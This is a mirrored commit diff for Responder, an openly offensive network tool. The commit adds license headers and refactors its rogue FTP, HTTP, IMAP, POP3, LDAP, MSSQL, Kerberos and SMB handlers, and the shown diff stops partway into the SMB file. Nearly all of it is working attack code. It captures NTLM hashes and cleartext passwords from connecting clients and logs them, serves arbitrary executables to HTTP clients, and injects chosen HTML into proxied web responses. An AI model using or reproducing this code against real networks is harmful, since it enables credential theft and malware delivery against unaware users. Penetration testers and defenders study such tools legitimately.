mirror of
https://github.com/lgandx/Responder.git
synced 2025-08-20 21:33:31 -07:00
Many changes, bug fixes and improvements. scripts in 'tools' still need to be fixed.
This commit is contained in:
parent
050edc22f3
commit
c6de2e9d3a
32 changed files with 1341 additions and 456 deletions
|
@ -1,3 +1,19 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import socket
|
||||
import struct
|
||||
import settings
|
||||
|
@ -191,8 +207,6 @@ class Browser(BaseRequestHandler):
|
|||
try:
|
||||
request, socket = self.request
|
||||
|
||||
#print hexdump(request)
|
||||
|
||||
if settings.Config.AnalyzeMode:
|
||||
ParseDatagramNBTNames(request,self.client_address[0])
|
||||
BecomeBackup(request,self.client_address[0])
|
||||
|
|
|
@ -1,3 +1,19 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import re
|
||||
|
||||
from packets import DNS_Ans
|
||||
|
|
|
@ -1,3 +1,19 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import settings
|
||||
|
||||
|
@ -8,8 +24,6 @@ from utils import *
|
|||
class FTP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "FTP-Clear-Text-Password-%s.txt" % self.client_address[0])
|
||||
|
||||
try:
|
||||
self.request.send(str(FTPPacket()))
|
||||
data = self.request.recv(1024)
|
||||
|
@ -31,7 +45,7 @@ class FTP(BaseRequestHandler):
|
|||
self.request.send(str(Packet))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
WriteData(Outfile,User+":"+Pass, User+":"+Pass)
|
||||
WriteData(settings.Config.FTPLog % self.client_address[0], User+":"+Pass, User+":"+Pass)
|
||||
|
||||
else :
|
||||
Packet = FTPPacket(Code="502",Message="Command not implemented.")
|
||||
|
|
|
@ -1,3 +1,19 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import struct
|
||||
import settings
|
||||
|
@ -8,7 +24,7 @@ from utils import *
|
|||
|
||||
from packets import NTLM_Challenge
|
||||
from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans
|
||||
from packets import WPADScript, ServerExeFile, ServeAlwaysExeFile, ServeAlwaysNormalFile
|
||||
from packets import WPADScript, ServeExeFile, ServeHtmlFile
|
||||
|
||||
|
||||
# Parse NTLMv1/v2 hash.
|
||||
|
@ -29,16 +45,14 @@ def ParseHTTPHash(data,client):
|
|||
HostNameLen = struct.unpack('<H',data[46:48])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||
outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "HTTP-NTLMv1-Client-%s.txt" % client)
|
||||
|
||||
if PrintData(outfile, User+"::"+HostName):
|
||||
print text("[HTTP] NTLMv1 Client : %s" % client)
|
||||
print text("[HTTP] NTLMv1 Hostname : %s" % HostName)
|
||||
print text("[HTTP] NTLMv1 User : %s" % User)
|
||||
print text("[HTTP] NTLMv1 Hash : %s" % LMHash+":"+NTHash)
|
||||
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, settings.Config.NumChal)
|
||||
WriteData(outfile, WriteHash, User+"::"+HostName)
|
||||
print text("[HTTP] NTLMv1 Client : %s" % client)
|
||||
print text("[HTTP] NTLMv1 Hostname : %s" % HostName)
|
||||
print text("[HTTP] NTLMv1 User : %s" % User)
|
||||
print text("[HTTP] NTLMv1 Hash : %s" % LMHash+":"+NTHash)
|
||||
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, settings.Config.NumChal)
|
||||
WriteData(settings.Config.HTTPNTLMv1Log % client, WriteHash, User+"::"+HostName)
|
||||
|
||||
if NthashLen > 24:
|
||||
NthashLen = 64
|
||||
|
@ -48,16 +62,14 @@ def ParseHTTPHash(data,client):
|
|||
HostNameLen = struct.unpack('<H',data[44:46])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||
outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "HTTP-NTLMv2-Client-%s.txt" % client)
|
||||
|
||||
if PrintData(outfile,User+"::"+Domain):
|
||||
print text("[HTTP] NTLMv2 Client : %s" % client)
|
||||
print text("[HTTP] NTLMv2 Hostname : %s" % HostName)
|
||||
print text("[HTTP] NTLMv2 User : %s" % Domain+"\\"+User)
|
||||
print text("[HTTP] NTLMv2 Hash : %s" % NTHash[:32]+":"+NTHash[32:])
|
||||
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
|
||||
WriteData(outfile,WriteHash, User+"::"+Domain)
|
||||
print text("[HTTP] NTLMv2 Client : %s" % client)
|
||||
print text("[HTTP] NTLMv2 Hostname : %s" % HostName)
|
||||
print text("[HTTP] NTLMv2 User : %s" % Domain+"\\"+User)
|
||||
print text("[HTTP] NTLMv2 Hash : %s" % NTHash[:32]+":"+NTHash[32:])
|
||||
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
|
||||
WriteData(settings.Config.HTTPNTLMv2Log % client, WriteHash, User+"::"+HostName)
|
||||
|
||||
def GrabCookie(data,host):
|
||||
Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data)
|
||||
|
@ -88,13 +100,24 @@ def WpadCustom(data, client):
|
|||
else:
|
||||
return False
|
||||
|
||||
def ServeEXE(data, client, Filename):
|
||||
print text("[HTTP] Sent file %s to %s" % (Filename, client))
|
||||
def ServeFile(Filename):
|
||||
with open (Filename, "rb") as bk:
|
||||
data = bk.read()
|
||||
bk.close()
|
||||
return data
|
||||
|
||||
def RespondWithFile(client, filename):
|
||||
|
||||
if filename.endswith('.exe'):
|
||||
Buffer = ServeExeFile(Payload = ServeFile(filename))
|
||||
else:
|
||||
Buffer = ServeHtmlFile(Payload = ServeFile(filename))
|
||||
|
||||
Buffer.calculate()
|
||||
print text("[HTTP] Sending file %s to %s" % (filename, client))
|
||||
|
||||
return str(Buffer)
|
||||
|
||||
def GrabURL(data, host):
|
||||
GET = re.findall('(?<=GET )[^HTTP]*', data)
|
||||
POST = re.findall('(?<=POST )[^HTTP]*', data)
|
||||
|
@ -109,25 +132,17 @@ def GrabURL(data, host):
|
|||
print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())
|
||||
|
||||
# Handle HTTP packet sequence.
|
||||
def PacketSequence(data,client):
|
||||
def PacketSequence(data, client):
|
||||
NTLM_Auth = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
|
||||
Basic_Auth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
|
||||
|
||||
if settings.Config.Exe_On_Off == True and re.findall('.exe', data):
|
||||
Buffer = ServerExeFile(Payload = ServeEXE(data,client,settings.Config.HtmlFilename),filename=settings.Config.HtmlFilename)
|
||||
Buffer.calculate()
|
||||
return str(Buffer)
|
||||
# Send the .exe if needed
|
||||
if settings.Config.Serve_Always == True or (settings.Config.Serve_Exe == True and re.findall('.exe', data)):
|
||||
return RespondWithFile(client, settings.Config.Exe_Filename)
|
||||
|
||||
if settings.Config.Exec_Mode_On_Off == True:
|
||||
if settings.Config.Exe_Filename.endswith('.exe'):
|
||||
Buffer = ServeAlwaysExeFile(Payload = ServeEXE(data,client,settings.Config.Exe_Filename),ContentDiFile=settings.Config.Exe_Filename)
|
||||
Buffer.calculate()
|
||||
return str(Buffer)
|
||||
|
||||
else:
|
||||
Buffer = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,settings.Config.Exe_Filename))
|
||||
Buffer.calculate()
|
||||
return str(Buffer)
|
||||
# Send the custom HTML if needed
|
||||
if settings.Config.Serve_Html == True:
|
||||
return RespondWithFile(client, settings.Config.Html_Filename)
|
||||
|
||||
if NTLM_Auth:
|
||||
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
||||
|
@ -168,13 +183,10 @@ def PacketSequence(data,client):
|
|||
|
||||
WPAD_Custom = WpadCustom(data,client)
|
||||
|
||||
outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "HTTP-Clear-Text-Password-%s.txt" % client)
|
||||
|
||||
if PrintData(outfile, ClearText_Auth):
|
||||
print text("[HTTP] (Basic) Client : %s" % client)
|
||||
print text("[HTTP] (Basic) Username : %s" % ClearText_Auth.split(':')[0])
|
||||
print text("[HTTP] (Basic) Password : %s" % ClearText_Auth.split(':')[1])
|
||||
WriteData(outfile, ClearText_Auth, ClearText_Auth)
|
||||
print text("[HTTP] (Basic) Client : %s" % client)
|
||||
print text("[HTTP] (Basic) Username : %s" % ClearText_Auth.split(':')[0])
|
||||
print text("[HTTP] (Basic) Password : %s" % ClearText_Auth.split(':')[1])
|
||||
WriteData(settings.Config.HTTPBasicLog % client, ClearText_Auth, ClearText_Auth)
|
||||
|
||||
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
||||
print text("[HTTP] WPAD (auth) file sent to %s" % client, 3, 0)
|
||||
|
|
|
@ -1,3 +1,19 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import settings
|
||||
import urlparse
|
||||
|
@ -19,7 +35,7 @@ def HandleGzip(Headers, Content, Payload):
|
|||
HasBody = re.findall('(?<=<body)[^<]*', unziped)
|
||||
|
||||
if HasBody:
|
||||
print text("[PROXY] Injecting into HTTP Response : %s" % color(settings.Config.HTMLToServe, 3, 1))
|
||||
print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HTMLToServe, 3, 1))
|
||||
|
||||
Content = unziped.replace("<body", settings.Config.HTMLToServe +"\n<body")
|
||||
ziped = zlib.compress(Content)
|
||||
|
@ -65,7 +81,7 @@ def InjectData(data):
|
|||
HasBody = re.findall('(?<=<body)[^<]*', Content)
|
||||
|
||||
if HasBody:
|
||||
print text("[PROXY] Injecting into HTTP Response : %s" % color(settings.Config.HTMLToServe, 3, 1))
|
||||
print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HTMLToServe, 3, 1))
|
||||
|
||||
NewContent = Content.replace("<body", settings.Config.HTMLToServe +"\n<body")
|
||||
Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(NewContent)))
|
||||
|
@ -127,8 +143,9 @@ class ProxySock:
|
|||
parts = resp.split()
|
||||
|
||||
# Not 200 ?
|
||||
if parts[1] != "200" :
|
||||
raise Exception("Error response from Proxy server : %s" % resp)
|
||||
if parts[1] != "200":
|
||||
print color("[!] Error response from upstream proxy: %s" % resp, 1)
|
||||
pass
|
||||
|
||||
# Wrap all methods of inner socket, without any change
|
||||
def accept(self) :
|
||||
|
@ -168,7 +185,10 @@ class ProxySock:
|
|||
return self.socket.recv_into(buffer, *args)
|
||||
|
||||
def send(self, *args) :
|
||||
return self.socket.send(*args)
|
||||
try:
|
||||
return self.socket.send(*args)
|
||||
except:
|
||||
pass
|
||||
|
||||
def sendall(self, *args) :
|
||||
return self.socket.sendall(*args)
|
||||
|
|
|
@ -1,3 +1,19 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import settings
|
||||
|
||||
|
@ -20,12 +36,11 @@ class IMAP(BaseRequestHandler):
|
|||
|
||||
if data[5:10] == "LOGIN":
|
||||
Credentials = data[10:].strip()
|
||||
Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "IMAP-Clear-Text-Password-%s.txt" % self.client_address[0])
|
||||
WriteData(Outfile, Credentials, Credentials)
|
||||
|
||||
print text("[IMAP] Address : %s" % color(self.client_address[0], 3, 0))
|
||||
print text("[IMAP] Username : %s" % color(Credentials[0], 3, 0))
|
||||
print text("[IMAP] Password : %s" % color(Credentials[1], 3, 0))
|
||||
WriteData(settings.Config.IMAPLog % self.client_address[0], Credentials, Credentials)
|
||||
|
||||
## FIXME: Close connection properly
|
||||
## self.request.send(str(ditchthisconnection()))
|
||||
|
|
|
@ -1,3 +1,19 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import struct
|
||||
import settings
|
||||
|
@ -106,10 +122,9 @@ class KerbTCP(BaseRequestHandler):
|
|||
KerbHash = ParseMSKerbv5TCP(data)
|
||||
|
||||
if KerbHash:
|
||||
Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "MSKerberos-Client-%s.txt" % self.client_address[0])
|
||||
print text("[KERBEROS] Address :" % self.client_address[0])
|
||||
print text("[KERBEROS] MSKerbv5 Hash :" % KerbHash)
|
||||
WriteData(Outfile, KerbHash, KerbHash)
|
||||
WriteData(settings.Config.KerberosLog % self.client_address[0], KerbHash, KerbHash)
|
||||
|
||||
except Exception:
|
||||
raise
|
||||
|
@ -122,10 +137,9 @@ class KerbUDP(BaseRequestHandler):
|
|||
KerbHash = ParseMSKerbv5UDP(data)
|
||||
|
||||
if KerbHash:
|
||||
Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "MSKerberos-Client-%s.txt" % self.client_address[0])
|
||||
print text("[KERBEROS] Address :" % self.client_address[0])
|
||||
print text("[KERBEROS] MSKerbv5 Hash :" % KerbHash)
|
||||
WriteData(Outfile, KerbHash, KerbHash)
|
||||
WriteData(settings.Config.KerberosLog % self.client_address[0], KerbHash, KerbHash)
|
||||
|
||||
except Exception:
|
||||
raise
|
||||
|
|
|
@ -1,3 +1,19 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import struct
|
||||
import settings
|
||||
|
@ -37,14 +53,13 @@ def ParseLDAPHash(data, client):
|
|||
UserLen = struct.unpack('<H',data[80:82])[0]
|
||||
UserOffset = struct.unpack('<H',data[82:84])[0]
|
||||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
|
||||
WriteHash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+settings.Config.NumChal
|
||||
Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "LDAP-NTLMv1-%s.txt" % client)
|
||||
|
||||
print text("[LDAP] NTLMv1 Address : %s" % client)
|
||||
print text("[LDAP] NTLMv1 Username : %s\\%s" % (Domain, User))
|
||||
print text("[LDAP] NTLMv1 Hash : %s" % NtHash)
|
||||
WriteData(Outfile, WriteHash, User+"::"+Domain)
|
||||
|
||||
WriteHash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+settings.Config.NumChal
|
||||
WriteData(settings.Config.LDAPNTLMv1Log % client, WriteHash, User+"::"+Domain)
|
||||
|
||||
if LMhashLen < 2 :
|
||||
print text("[LDAP] Ignoring anonymous NTLM authentication")
|
||||
|
@ -81,15 +96,11 @@ def ParseLDAPPacket(data, client):
|
|||
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
|
||||
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
|
||||
|
||||
outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "LDAP-Clear-Text-Password-%s.txt" % client)
|
||||
WritePass = 'LDAP: %s: %s:%s' % (client, UserDomain, Password)
|
||||
|
||||
if PrintData(outfile, WritePass):
|
||||
print text("[LDAP] Client : %s" % color(client, 3, 0))
|
||||
print text("[LDAP] Username : %s" % color(UserDomain, 3, 0))
|
||||
print text("[LDAP] Password : %s" % color(Password, 3, 0))
|
||||
|
||||
WriteData(outfile, WritePass, WritePass)
|
||||
print text("[LDAP] Client : %s" % color(client, 3, 0))
|
||||
print text("[LDAP] Username : %s" % color(UserDomain, 3, 0))
|
||||
print text("[LDAP] Password : %s" % color(Password, 3, 0))
|
||||
WritePass = '%s: %s:%s' % (client, UserDomain, Password)
|
||||
WriteData(settings.Config.LDAPClearLog % client, WritePass, WritePass)
|
||||
|
||||
if sasl == "\xA3":
|
||||
Buffer = ParseNTLM(data,client)
|
||||
|
@ -100,7 +111,7 @@ def ParseLDAPPacket(data, client):
|
|||
return Buffer
|
||||
|
||||
else:
|
||||
print '[LDAP]Operation not supported'
|
||||
print text('[LDAP] Operation not supported')
|
||||
|
||||
# LDAP Server class
|
||||
class LDAP(BaseRequestHandler):
|
||||
|
|
|
@ -1,3 +1,19 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import struct
|
||||
import settings
|
||||
|
@ -58,28 +74,20 @@ def ParseSQLHash(data, client):
|
|||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
|
||||
if NthashLen == 24:
|
||||
outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "MSSQL-NTLMv1-Client-%s.txt" % client)
|
||||
|
||||
if PrintData(outfile,User+"::"+Domain):
|
||||
print text("[MSSQL] NTLMv1 Client : %s" % color(client, 3, 0))
|
||||
print text("[MSSQL] NTLMv1 Domain : %s" % color(Domain, 3, 0))
|
||||
print text("[MSSQL] NTLMv1 User : %s" % color(User, 3, 0))
|
||||
print text("[MSSQL] NTLMv1 Hash : %s" % color(LMHash+":"+NTHash, 3, 0))
|
||||
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, settings.Config.NumChal)
|
||||
WriteData(outfile,User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal, User+"::"+Domain)
|
||||
print text("[MSSQL] NTLMv1 Client : %s" % color(client, 3, 0))
|
||||
print text("[MSSQL] NTLMv1 Domain : %s" % color(Domain, 3, 0))
|
||||
print text("[MSSQL] NTLMv1 User : %s" % color(User, 3, 0))
|
||||
print text("[MSSQL] NTLMv1 Hash : %s" % color(LMHash+":"+NTHash, 3, 0))
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, settings.Config.NumChal)
|
||||
WriteData(settings.Config.MSSQLNTLMv1Log % client, User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal, User+"::"+Domain)
|
||||
|
||||
if NthashLen > 60:
|
||||
outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "MSSQL-NTLMv2-Client-%s.txt" % client)
|
||||
|
||||
if PrintData(outfile,User+"::"+Domain):
|
||||
print text("[MSSQL] NTLMv1 Client : %s" % color(client, 3, 0))
|
||||
print text("[MSSQL] NTLMv1 Domain : %s" % color(Domain, 3, 0))
|
||||
print text("[MSSQL] NTLMv1 User : %s" % color(User, 3, 0))
|
||||
print text("[MSSQL] NTLMv1 Hash : %s" % color(NTHash[:32]+":"+NTHash[32:], 3, 0))
|
||||
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
|
||||
WriteData(outfile,WriteHash,User+"::"+Domain)
|
||||
print text("[MSSQL] NTLMv2 Client : %s" % color(client, 3, 0))
|
||||
print text("[MSSQL] NTLMv2 Domain : %s" % color(Domain, 3, 0))
|
||||
print text("[MSSQL] NTLMv2 User : %s" % color(User, 3, 0))
|
||||
print text("[MSSQL] NTLMv2 Hash : %s" % color(NTHash[:32]+":"+NTHash[32:], 3, 0))
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
|
||||
WriteData(settings.Config.MSSQLNTLMv2Log % client, WriteHash,User+"::"+Domain)
|
||||
|
||||
def ParseSqlClearTxtPwd(Pwd):
|
||||
Pwd = map(ord,Pwd.replace('\xa5',''))
|
||||
|
@ -90,18 +98,15 @@ def ParseSqlClearTxtPwd(Pwd):
|
|||
|
||||
def ParseClearTextSQLPass(data, client):
|
||||
|
||||
TDS = TDS_Login_Packet(data)
|
||||
outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "MSSQL-PlainText-Password-%s.txt" % client)
|
||||
TDS = TDS_Login_Packet(data)
|
||||
|
||||
print text("[MSSQL] Client : %s (%s)" % (color(client, 3, 0) , color(TDS.ClientName, 3, 0)))
|
||||
print text("[MSSQL] Server : %s" % color(TDS.ServerName, 3, 0))
|
||||
print text("[MSSQL] Database : %s" % color(TDS.DatabaseName, 3, 0))
|
||||
print text("[MSSQL] Username : %s" % color(TDS.UserName, 3, 0))
|
||||
print text("[MSSQL] Password : %s" % color(ParseSqlClearTxtPwd(TDS.Password), 3, 0))
|
||||
WritePass = TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password)
|
||||
|
||||
if PrintData(outfile,WritePass):
|
||||
print text("[MSSQL] Client : %s (%s)" % (color(client, 3, 0) , color(TDS.ClientName, 3, 0)))
|
||||
print text("[MSSQL] Server : %s" % color(TDS.ServerName, 3, 0))
|
||||
print text("[MSSQL] Database : %s" % color(TDS.DatabaseName, 3, 0))
|
||||
print text("[MSSQL] Username : %s" % color(TDS.UserName, 3, 0))
|
||||
print text("[MSSQL] Password : %s" % color(ParseSqlClearTxtPwd(TDS.Password), 3, 0))
|
||||
|
||||
WriteData(outfile, WritePass, WritePass)
|
||||
WriteData(settings.Config.MSSQLClearLog % client, WritePass, WritePass)
|
||||
|
||||
# MSSQL Server class
|
||||
class MSSQL(BaseRequestHandler):
|
||||
|
|
|
@ -1,3 +1,19 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import settings
|
||||
|
||||
|
@ -24,16 +40,15 @@ class POP3(BaseRequestHandler):
|
|||
|
||||
if data[0:4] == "PASS":
|
||||
Pass = data[5:].replace("\r\n","")
|
||||
Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "POP3-Clear-Text-Password-%s.txt" % self.client_address[0])
|
||||
WriteData(Outfile,User+":"+Pass, User+":"+Pass)
|
||||
|
||||
text("[POP3] Address : %s" % self.client_address[0])
|
||||
text("[POP3] Username : %s" % User)
|
||||
text("[POP3] Password : %s" % Pass)
|
||||
print text("[POP3] Address : %s" % self.client_address[0])
|
||||
print text("[POP3] Username : %s" % User)
|
||||
print text("[POP3] Password : %s" % Pass)
|
||||
WriteData(settings.Config.POP3Log % self.client_address[0], User+":"+Pass, User+":"+Pass)
|
||||
|
||||
data = self.SendPacketAndRead()
|
||||
|
||||
else :
|
||||
else:
|
||||
data = self.SendPacketAndRead()
|
||||
|
||||
except Exception:
|
||||
|
|
|
@ -1,3 +1,19 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
import settings
|
||||
|
||||
|
@ -108,10 +124,8 @@ def ParseSMBHash(data,client):
|
|||
print text("[SMB] NTLMv1 (SSP) Address : %s" % client)
|
||||
print text("[SMB] NTLMv1 (SSP) Username : %s\\%s" % (Domain, Username))
|
||||
print text("[SMB] NTLMv1 (SSP) Hash : %s" % SMBHash)
|
||||
|
||||
